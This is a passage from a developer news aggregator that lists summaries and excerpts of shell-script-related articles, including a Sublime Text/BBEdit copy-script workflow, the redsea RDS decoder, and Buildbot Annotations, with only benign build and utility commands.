Topics: [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Sublime Text](<https://devfeed.tech/topics/sublime-text.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [file](<https://devfeed.tech/topics/file.md>), [LaTeX](<https://devfeed.tech/topics/latex.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [chmod](<https://devfeed.tech/tags/chmod.md>), [command](<https://devfeed.tech/tags/command.md>), [commands](<https://devfeed.tech/tags/commands.md>), [copy](<https://devfeed.tech/tags/copy.md>), [editor](<https://devfeed.tech/tags/editor.md>), [execution](<https://devfeed.tech/tags/execution.md>), [file](<https://devfeed.tech/tags/file.md>), [files](<https://devfeed.tech/tags/files.md>), [mac](<https://devfeed.tech/tags/mac.md>), [multiple](<https://devfeed.tech/tags/multiple.md>), [script](<https://devfeed.tech/tags/script.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

The article describes a workflow for creating one-off Bash scripts in Sublime Text to copy selected files, then running the unsaved commands immediately in BBEdit.

### Source excerpt

I've been meaning to talk more about my "Sublime Text and BBEdit" workflow, and this is a powerful (if mundane) example. I don't write a ton of scripts on my Mac and generally don't spend much time in Terminal. But when I need a script, I really need a script. My work is very file-heavy. I juggle large numbers of .tex (LaTeX) files across several large folder structures. Every so often I need to copy a subset of files within one folder to another folder so that I can do things to them. In most cases, I have a list of the files in a plain text .tex file, and I just need to do some file operations on them. Selecting them individually in Finder is tedious and error-prone, so the solution is usually a simple bash script with a bunch of cp commands. The main friction with bash scripting for folks like me that don't live in Terminal is that you have to create a .sh script and then web search for now to make it executable (because I can never remember the chmod command). Creating the shell commands is straightforward, especially in Sublime Text. After adding the necessary #!/bin/bash line with TextExpander and defining the "to" and "from" file paths as variables, the magic of Sublime Text's multiple cursors makes it easy to put cp commands and the folder path variables around each file to be copied. Sublime Text multiple cursors in action Since Sublime Text won't execute these commands in an unsaved file that hasn't been given proper execute permissions, I simply copy this text into an untitled, unsaved BBEdit window and hit ⌘R. BBEdit has the extremely useful ability to immediately recognize the syntax and execute it right there on the spot. I realize this post is a weird way to promote BBEdit, which is a powerful text editor that, in this case, I'm not even using as an editor. Hopefully I'll find some time to talk more about other ways I'm using it with Sublime Text.

## Redsea 0.7, a lightweight RDS decoder

DevFeed: [Redsea 0.7, a lightweight RDS decoder](<https://devfeed.tech/articles/redsea-0-7-a-lightweight-rds-decoder-21648.md>)

Original publisher: [Read original article](<https://www.windytan.com/2016/10/redsea-07-lightweight-rds-decoder.html>)

Author: Oona Räisänen (noreply@blogger.com)

Published: 2016-10-02T19:10:00Z

Content type: article

Language: en

Sources: [Oona Räisänen](<https://devfeed.tech/sources/oona-raisanen.md>)

Topics: [C++](<https://devfeed.tech/topics/c-plus-plus.md>), [Raspberry Pi](<https://devfeed.tech/topics/raspberry-pi.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [JSON](<https://devfeed.tech/topics/json.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [real-time](<https://devfeed.tech/topics/real-time.md>)

Tags: [c-plus-plus](<https://devfeed.tech/tags/c-plus-plus.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [dongle](<https://devfeed.tech/tags/dongle.md>), [fm-radio](<https://devfeed.tech/tags/fm-radio.md>), [json](<https://devfeed.tech/tags/json.md>), [raspberry-pi](<https://devfeed.tech/tags/raspberry-pi.md>), [real-time](<https://devfeed.tech/tags/real-time.md>), [sdr](<https://devfeed.tech/tags/sdr.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [software](<https://devfeed.tech/tags/software.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

This article summarizes the current state and possible future development of redsea 0.7.6, an RDS decoder. It describes supported input streams, line-delimited JSON and hexadecimal output, and efforts to keep the C++ implementation lightweight enough for real-time use on a Raspberry Pi 1. It also notes ongoing sensitivity issues with weak signals.

### Source excerpt

I've written about redsea, my RDS decoder project, many times before. It has changed a lot lately; it even has a version number, 0.7.6 as of this writing. What follows is a summary of its current state and possible future developments. Input formats Redsea can decode several types of data streams. The command-line switches to activate these can be found in the readme. Its main use, perhaps, is to demodulate an FM multiplex carrier, as received using a cheap rtl-sdr radio dongle and demodulated using rtl_fm. The multiplex is an FM demodulated signal sampled at 171 kHz, a convenient multiple of the RDS data rate (1187.5 bps) and the subcarrier frequency (57 kHz). There's a convenience shell script that starts both redsea and the rtl_fm receiver. For example, ./rtl-rx.sh -f 88.0M would start reception on 88.0 MHz. It can also decode an "ASCII binary" stream (--input-ascii): 0001100100111001000101110000101110011000010010110010011001000000100001 1010010000011010110100010000000100000001101110000100010111000010111001 1001000010110000111111011101101011001010101110100011111101000011100010 100000011010010001011100001 Or hex-encoded RDS groups one per line (--input-hex), which is the format used by RDS Spy: 6201 01D8 E704 594C 6201 01D9 2217 4520 6201 E1C1 594C 6202 6201 01DA 1139 594B 6201 21DC 2020 2020 Output formats The default output has changed drastically. There used to be no strict format to it, rather it was just a human-readable terminal display. This sort of output format will probably return at some point, as an option. But currently redsea outputs line-delimited JSON, where every group is a JSON object on a separate line. It is quite verbose but machine readable and well-suited for post-processing: {"pi":"0x6201","group":"0A","tp":false,"prog_type":"Serious classical","ta":tru e,"is_music":true,"alt_freqs":[87.9,88.5,89.2,89.5,89.8,90.9,93.2],"ps":"YLE YK SI"} {"pi":"0x6201","group":"14A","tp":false,"prog_type":"Serious classical","other_ network":{"pi":"0x6205","

## Introducing JVM - The Java Version Manager

DevFeed: [Introducing JVM - The Java Version Manager](<https://devfeed.tech/articles/introducing-jvm-the-java-version-manager-37784.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/introducing-jvm/>)

Author: Carlos Alexandro Becker

Published: 2015-02-22T00:00:00Z

Content type: release

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Java](<https://devfeed.tech/topics/java.md>), [version](<https://devfeed.tech/topics/version.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [mac os](<https://devfeed.tech/topics/mac-os.md>), [Ubuntu](<https://devfeed.tech/topics/ubuntu.md>)

Tags: [java](<https://devfeed.tech/tags/java.md>), [mac-os](<https://devfeed.tech/tags/mac-os.md>), [pull-requests](<https://devfeed.tech/tags/pull-requests.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [version](<https://devfeed.tech/tags/version.md>)

### AI overview

The article introduces JVM, a shell script that automatically selects a project's Java version. It detects project files and properties, matches them with installed Java versions, and supports Mac OS X and Ubuntu.

### Source excerpt

In recent years it has become more and more common to work in different projects running on different versions of Java. There are still some running on Java 6, and there are tons already running on Java 8.

## Sass Director and Manifest Files

DevFeed: [Sass Director and Manifest Files](<https://devfeed.tech/articles/sass-director-and-manifest-files-28835.md>)

Original publisher: [Read original article](<https://una.im/sass-manifests/>)

Published: 2015-01-18T00:00:00Z

Content type: tutorial

Language: en

Sources: [Una Kravets](<https://devfeed.tech/sources/una-kravets.md>)

Topics: [Sass](<https://devfeed.tech/topics/sass.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Code](<https://devfeed.tech/topics/code.md>)

Tags: [build](<https://devfeed.tech/tags/build.md>), [files](<https://devfeed.tech/tags/files.md>), [manifest](<https://devfeed.tech/tags/manifest.md>), [project](<https://devfeed.tech/tags/project.md>), [sass](<https://devfeed.tech/tags/sass.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

This tutorial explains Sass manifest files, which bring partial Sass files together in a main file that compiles into a cumulative CSS output. It also introduces Sass Director, a tool that generates the directories and partial files for a Sass project from one manifest file.

### Source excerpt

I created a tool that lets you architect your Sass project in a single location (your manifest file), and it will build all of the directories and partials for you! This blog explains what a Sass manifest file is, what it does, and why you should use one.

## Running Go Programs In IronWorker

DevFeed: [Running Go Programs In IronWorker](<https://devfeed.tech/articles/running-go-programs-in-ironworker-22074.md>)

Original publisher: [Read original article](<https://www.ardanlabs.com/blog/2013/09/running-go-programs-in-ironworker.html>)

Published: 2013-09-07T00:00:00Z

Content type: tutorial

Language: en

Sources: [William Kennedy](<https://devfeed.tech/sources/william-kennedy.md>)

Topics: [Go Language](<https://devfeed.tech/topics/go-language.md>), [container](<https://devfeed.tech/topics/container.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [Ubuntu](<https://devfeed.tech/topics/ubuntu.md>)

Tags: [ardan-labs](<https://devfeed.tech/tags/ardan-labs.md>), [binaries](<https://devfeed.tech/tags/binaries.md>), [blog](<https://devfeed.tech/tags/blog.md>), [build](<https://devfeed.tech/tags/build.md>), [code](<https://devfeed.tech/tags/code.md>), [container](<https://devfeed.tech/tags/container.md>), [files](<https://devfeed.tech/tags/files.md>), [go](<https://devfeed.tech/tags/go.md>), [go-programming](<https://devfeed.tech/tags/go-programming.md>), [golang](<https://devfeed.tech/tags/golang.md>), [linux](<https://devfeed.tech/tags/linux.md>), [mac](<https://devfeed.tech/tags/mac.md>), [production](<https://devfeed.tech/tags/production.md>), [programming](<https://devfeed.tech/tags/programming.md>), [run](<https://devfeed.tech/tags/run.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [testing](<https://devfeed.tech/tags/testing.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [vmware](<https://devfeed.tech/tags/vmware.md>), [windows](<https://devfeed.tech/tags/windows.md>)

### AI overview

This tutorial explains how to run Go programs in IronWorker, a task-oriented Linux container from Iron.io. It describes loading binaries and supporting files, executing a shell script or binary, and handling Linux build requirements when developing on Windows or Mac. It also presents Ubuntu virtual machines as an option for building, testing, and staging binaries.

### Source excerpt

Introduction Iron.io has a product called IronWorker which provides a task oriented Linux container that you can run your programs inside. If you are not sure what I mean, think of this as having a temporary Linux virtual machine instantly available for your personal but short term use. IronWorker allows you to load your binaries, code files, support files, shells scripts and just about anything else you may need to run your program in the container. You specify a single task to execute, such as running a shell script or a binary and IronWorker will perform that task when requested. Once the task is complete, IronWorker will tear down the container as if it never existed. If you are developing in Windows or on the Mac and plan to load and run pre-built binaries in IronWorker, they must be built for Linux. If that could be a problem don't despair, you have options. You can create an Ubuntu VM so you can build the Linux binaries you need. This is what I do. I don't develop in my Ubuntu VM, I use it as a testing and staging area. Your second option is to build your program inside of the IronWorker container and then execute it. You have a lot of flexibility to do what you need with IronWorker.

## Creating an OS X .pkg installer

DevFeed: [Creating an OS X .pkg installer](<https://devfeed.tech/articles/creating-an-os-x-pkg-installer-30102.md>)

Original publisher: [Read original article](<http://www.netmeister.org/blog/osx-pkg.html>)

Published: 2013-06-22T17:55:03Z

Content type: tutorial

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [Script](<https://devfeed.tech/topics/script.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [os](<https://devfeed.tech/tags/os.md>), [script](<https://devfeed.tech/tags/script.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>)

### AI overview

A step-by-step explanation of the commands needed to create an OS X .pkg installer for distributing a shell script and its manual page.

### Source excerpt

I needed to distribute a shell script and its manual page to OS X, but was unable to find a simple step-by-step explanation of which commands to run. Here's what I found out.

## Fixing the trouble with Buildbot

DevFeed: [Fixing the trouble with Buildbot](<https://devfeed.tech/articles/fixing-the-trouble-with-buildbot-21560.md>)

Original publisher: [Read original article](<http://lackingrhoticity.blogspot.com/2011/08/fixing-trouble-with-buildbot.html>)

Author: Mark Seaborn (noreply@blogger.com)

Published: 2011-08-23T15:59:00Z

Content type: article

Language: en

Sources: [Mark Seaborn](<https://devfeed.tech/sources/mark-seaborn.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Python](<https://devfeed.tech/topics/python.md>), [make](<https://devfeed.tech/topics/make.md>), [x86](<https://devfeed.tech/topics/x86.md>), [Chromium](<https://devfeed.tech/topics/chromium.md>)

Tags: [atomic](<https://devfeed.tech/tags/atomic.md>), [chrome](<https://devfeed.tech/tags/chrome.md>), [code](<https://devfeed.tech/tags/code.md>), [make](<https://devfeed.tech/tags/make.md>), [python](<https://devfeed.tech/tags/python.md>), [script](<https://devfeed.tech/tags/script.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [tests](<https://devfeed.tech/tags/tests.md>), [x86](<https://devfeed.tech/tags/x86.md>)

### AI overview

The article explains how Buildbot Annotations let checked-in build scripts divide sequential build output into separately displayed steps. It describes the benefits for maintaining and testing Native Client build logic, while noting limitations including per-step timeout handling, non-nestable steps, and an awkward syntax.

### Source excerpt

Last year I wrote a blog post, "The trouble with Buildbot", about how Buildbot creates a dilemma for complex projects because it forces you to choose between two ways of describing a project's build steps: You can describe build steps in the Buildbot config. Buildbot configs are awkward to update -- someone has to restart the Buildbot master -- and hard to test, but you get the benefit that the build steps appear as separate steps in Buildbot's display. You can write a script which runs the build steps directly, and check it into the same repository as your project. This is easier to maintain and test, but traditionally all the output from the script would appear as a single Buildbot build step, making the output hard to read. Fortunately, Brad Nelson has addressed this problem with an extension to Buildbot known as "Buildbot Annotations". The Python code for this currently lives in chromium_step.py (see AnnotatedCommand). The idea is that your checked-in script will run multiple steps sequentially but output tags between them (e.g. "@@@BUILD_STEP tests@@@") so that the output can be parsed into chunks by the Buildbot master, and displayed as separate chunks. For example, an early version of Native Client's Annotations-based buildbot script looked something like this: ... echo @@@BUILD_STEP gyp_compile@@@ make -C .. -k -j12 V=1 BUILDTYPE=${GYPMODE} echo @@@BUILD_STEP scons_compile${BITS}@@@ ./scons -j 8 -k --verbose ${GLIBCOPTS} --mode=${MODE}-host,nacl \ platform=x86-${BITS} echo @@@BUILD_STEP small_tests${BITS}@@@ ./scons -k --verbose ${GLIBCOPTS} --mode=${MODE}-host,nacl small_tests \ platform=x86-${BITS} || { RETCODE=$? && echo @@@STEP_FAILURE@@@;} ... (More recently, this shell script has been replaced with a Python script.) You can see this in use on the Native Client Buildbot page (and also on the trybot page, though that's less readable). The logic for running NaCl's many build steps -- including a clobber step, a Scons build, a Gyp build, small_tests, mediu